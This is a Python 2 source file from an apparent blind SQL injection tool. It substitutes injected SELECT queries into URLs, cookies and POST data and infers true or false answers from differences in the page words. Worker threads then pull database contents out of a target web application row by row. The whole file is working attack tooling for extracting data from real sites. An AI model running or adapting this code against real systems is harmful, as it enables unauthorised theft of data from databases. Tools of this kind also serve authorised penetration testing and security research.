import logging
import copy
import re

import threading
from Queue import Queue
from framework.myqueue import PriorityQueue

from settings import Settings
from myexceptions import MyException
from mymodel import InjectionData
from framework.facade import Facade
from framework.queries import Query
from framework.myhttp import MyRequest

class SQliMan:
    def __init__(self, sqli, from_row, to_row):
	self.__logger = logging.getLogger('framework.sqlinjection.SQliMan')

	self.sqli = sqli

	# Row control
	if not from_row: self.from_row = 0
	else: self.from_row = from_row

	if to_row is None: self.count = 1
	else: self.count = to_row - from_row + 1

	self.current = 0
	self.first_none_row = -1
	self.next_row = 0

	# workers control variables
	self.__inj_threads = []
	self.res_iqueue = None
	self.order_iqueue = None

	# Launch workers
	self.launch_workers()

	# put work
	max_req = int(Settings().get(Settings.SEC_PERF, Settings.MAXREQUESTS))
	self.next_row = self.from_row + max_req + 1
	if max_req > self.count: self.next_row = self.from_row + self.count
	for i in range(self.from_row, self.next_row):
	    self.order_iqueue.put_normal((str(i),str(i)))

    # ------------------------------------------------
    # thread management
    # ------------------------------------------------
    def launch_workers(self):
	max_req = int(Settings().get(Settings.SEC_PERF, Settings.MAXREQUESTS))

	# Launch injector workers threads
	self.res_iqueue = PriorityQueue()
	self.order_iqueue = PriorityQueue()


	count = max_req
	if max_req > self.count: count = self.count

	for i in range(count):
	    job_man = Facade().get_injector()
	    job_man.init(self.sqli, self.order_iqueue, self.res_iqueue)
	    job_man.id = i
	    job_man.start()
	    self.__inj_threads.append(job_man)
	    if not job_man.is_threadable(): break

    def stop_workers(self):
	self.__logger.debug('stop_workers. START')

	# stop injector workers
	self.__logger.debug('stop_workers. inj_workers: Cancelling job...')
	for th in self.__inj_threads:
	    th.cancel_job()

	self.__logger.debug('stop_workers. inj_workers: Sending ping of death...')
	for i in range(len(self.__inj_threads)):
	    self.order_iqueue.put_high((None, None))

	self.__logger.debug('stop_workers. inj_workers: Waiting for threads death...')
	for th in self.__inj_threads:
	    th.join()

	self.__logger.debug('stop_workers. END')

    # ------------------------------------------------
    # Iterator functions
    # ------------------------------------------------
    def __iter__(self):
        return self

    def next(self):
	item = None
	row = None
	while not item:
	    if self.current >= self.count:
		self.__logger.debug("End job...")
		self.stop_workers()
		raise StopIteration

	    try:
		self.__logger.debug("esperando en la cola. current: %d. count: %d" % (self.current, self.count))
		# http://bugs.python.org/issue1360
		row, item = self.res_iqueue.get(True, 365 * 24 * 60 * 60)
	    except KeyboardInterrupt:
		self.__logger.debug("KeyboardInterrupt cancelling...")
		self.stop_workers()
		raise StopIteration

	    if row is None:
		self.stop_workers()
		raise item

	    try:
		if item:
		    self.current = self.current + 1

		    # put more work??
		    if self.next_row < self.count:
			self.order_iqueue.put_normal((str(self.next_row),str(self.next_row)))
			self.next_row = self.next_row + 1
		    Facade().get_session().kbase.add(self.sqli.query, item)
		    return item
		else:
		    if self.first_none_row == -1 or row < self.first_none_row: 
			self.first_none_row = row
			self.count = row - self.from_row
	    except Exception, e:
		self.__logger.debug("Unhandled exception...")
		self.stop_workers()
		raise MyException("sqli make: Unhandled exception...")

class SQLInjection:
    # injection type
    TUnescaped = "Unescaped Injection"
    TNumeric = "Numeric Injection"
    TSingleQuote = "Single Quoted Injection"
    TDoubleQuote = "Double Quoted Injection"
    TConcatPipe = "Pipe concatenation Injection"
    TConcatPlus = "Plus concatenation Injection"
    TUser = "User test"

    def __init__(self, injection_data, query, filters, stacked_query = None):
	self.__logger = logging.getLogger('framework.sqlinjection.SQLInjection')

	self.raise_exception = True
	self.filters = filters
	self.query = query
	self.injection_data = injection_data
	self.stacked_query = stacked_query
	self.log = []

	self.expand()


    # ------------------------------------------------
    # Factory functions
    # ------------------------------------------------
    @staticmethod
    def from_error_string(data):
	sqli = SQLInjection(data, Query.from_user(data[InjectionData.DATABASE]), None)
	sqli.set_error_string()

	return sqli

    @staticmethod
    def from_copy(sqli, **kwargs):
	new = SQLInjection(sqli.replace_params(**kwargs),
			copy.deepcopy(sqli.query), None)
	return new

    # ------------------------------------------------
    # prepare injection functions
    # ------------------------------------------------
    def expand(self):
	db = self.injection_data[InjectionData.DATABASE]

	if self.filters and db:
	    self.injection_data = self.replace_params(select=self.filters.process_query(self.query.select, db))
	    if self.stacked_query:
		self.injection_data = self.replace_params(select2 = self.filters.process_query(self.stacked_query.select, db))
	    else:
		self.injection_data = self.replace_params(select2 = "")

	    self.filters.process(self.injection_data)
	else:
	    self.injection_data = self.replace_params(select=self.query.select)
	    if self.stacked_query:
		self.injection_data = self.replace_params(select2 = self.stacked_query.select)
	    else:
		self.injection_data = self.replace_params(select2 = "")

	# minimum URL encoding to work http
	self.injection_data[InjectionData.URL] = self.injection_data[InjectionData.URL].replace(" ", "%20")

    def replace_params(self, **kwargs):
	self.__logger.debug("replace_params. START.")

	cp = copy.deepcopy(self.injection_data)

	for k in kwargs:
	    if cp[InjectionData.COOKIE]:
		cp[InjectionData.COOKIE] = cp[InjectionData.COOKIE].replace("{@" + k.lower() + "@}", str(kwargs[k]))
		cp[InjectionData.COOKIE] = cp[InjectionData.COOKIE].replace("{@" + k.upper() + "@}", str(kwargs[k]))

	    if cp[InjectionData.POST_DATA]:
		cp[InjectionData.POST_DATA] = cp[InjectionData.POST_DATA].replace("{@" + k.lower() + "@}", str(kwargs[k]))
		cp[InjectionData.POST_DATA] = cp[InjectionData.POST_DATA].replace("{@" + k.upper() + "@}", str(kwargs[k]))

	    cp[InjectionData.URL] = cp[InjectionData.URL].replace("{@" + k.lower() + "@}", str(kwargs[k]))
	    cp[InjectionData.URL] = cp[InjectionData.URL].replace("{@" + k.upper() + "@}", str(kwargs[k]))

	self.__logger.debug("replace_params. END. data=%s" % cp)

	return cp

    # ------------------------------------------------
    # HTTP requests functions
    # ------------------------------------------------
    def perform(self, **kwargs):
	result = None
	req = MyRequest.from_idata(self.replace_params(**kwargs))

	for result in req.perform():
	    self.log.append(result)

	if self.raise_exception and not self.is_positive(result.get_response_content()):
	    raise MyException("Not founded matching string => Incorrect query!")

	return result.get_response()


    # ------------------------------------------------
    # Injection functions
    # ------------------------------------------------
    def is_positive(self, body):
	if not self.injection_data['error_string'] or not self.injection_data['error_mode']:
	    raise MyException('Incorrect SQL Injection query: No error string or mode found.')

	tmp = re.findall(self.injection_data[InjectionData.ERROR_STRING], body)

	if self.injection_data[InjectionData.ERROR_MODE] == InjectionData.ERROR_MODE_POSITIVE:
	    return not (len(tmp)==0)
	else:
	    return len(tmp)==0

    def __get_response_words(self, content):
	REWORDS = re.compile("([a-zA-Z]{3,})")
	SCRIPTS = re.compile("(<script[^>]*>([^<]|<[^s]|<s[^c]|<sc[^r]|<scr[^i]|<scri[^p])*</script>)",re.I)
	TAG = re.compile("<[^>]*>")

	words = {}

	for i,j in SCRIPTS.findall(content):
	    content = content.replace(i, " ")
	content = TAG.sub(" ", content)

	for j in REWORDS.findall(content):
	    if len(j)>3: words[j]=True

	words = words.keys()
	words.sort()

	return words

    def set_error_string(self):
	self.__logger.debug('set_error_string. START')

	response_words = {}

	self.raise_exception = False

	for char in [1, 999]:
	    code, content = self.perform(char=char, pos=1)
	    response_words[char] = self.__get_response_words(content)
	
	exclusive = [w for w in response_words[1] if w not in response_words[999]]
	if exclusive:
	    self.injection_data[InjectionData.ERROR_MODE] = InjectionData.ERROR_MODE_POSITIVE
	    self.injection_data[InjectionData.ERROR_STRING] = exclusive[0]
	else:
	    self.__logger.warning('set_error_string. Not found positive error string.')

    def check_error_string(self, error_string):
	self.__logger.debug('check_error_string. START error_string=%s', error_string)

	request_content = {}
	self.raise_exception = False

	for char in [1,999]:
	    code, content = self.perform(char=char, pos=1)
	    request_content[char] = content
	
	for content in request_content.keys():
	    tmp = re.findall(error_string, request_content[content])
	    request_content[content] = (not len(tmp)==0)

	if request_content[1] and request_content[999]:
	    return None
	if request_content[1]:
	    return InjectionData.ERROR_MODE_POSITIVE
	elif request_content[999]:
	    return InjectionData.ERROR_MODE_NEGATIVE
	else:
	    return None

    def make(self, from_row, to_row):
	return SQliMan(self, from_row, to_row)
#
#    def make(self):
#	job_man = Facade().get_injector()
#
#	try:
#	    word = job_man.launch_job(self)
#
#	    Facade().get_controller().last_log = self.log
#	    #self.last_log.sort(key=operator.itemgetter(0))
#
#	    if word is not None:
#		Facade().get_session().kbase.add(self.query, word)
#
#	    return word
#	except MyException, e:
#	    #job_man.cancel_job()
#	    #self.last_log = sqli.log
#	    #self.last_log.sort(key=operator.itemgetter(0))
#	    self.__logger.error("make_injection. EXCEPTION: %s.", e)
#	    #self.view.output("Exception: %s" % e.value)
#	    return None
#
